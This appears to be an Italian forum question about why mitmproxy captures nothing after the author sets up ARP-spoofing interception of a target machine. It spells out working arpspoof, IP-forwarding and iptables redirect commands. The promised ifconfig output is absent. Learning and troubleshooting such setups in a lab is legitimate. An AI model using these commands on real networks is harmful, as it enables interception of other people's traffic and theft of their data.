Ho un computer target a 10.0.0.14 e gateway a 10.0.0.1 . Mi inserisco correttamente come MITM eseguendo
sudo arpspoof -i wlp3s0 -t 10.0.0.1 10.0.0.14
sudo arpspoof -i wlp3s0 -t 10.0.0.14 10.0.0.1
E quando eseguo arp sul computer di destinazione, vedo che 10.0.0.1 è associato al mio MAC. Sulla mia macchina, eseguo quindi
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i wlp3s0 -p tcp --dport 80 -j REDIRECT --to-port 8080
Infine, eseguo ping google.com sulla macchina di destinazione. Quando eseguo sudo tcpdump | grep 10.0.0.14 sulla mia macchina, vedo molti pacchetti che riguardano le richieste ping. Ma quando eseguo mitmproxy -T --host non ottengo nulla! Cosa sto sbagliando?
P.S. Ecco il risultato di ifconfig :
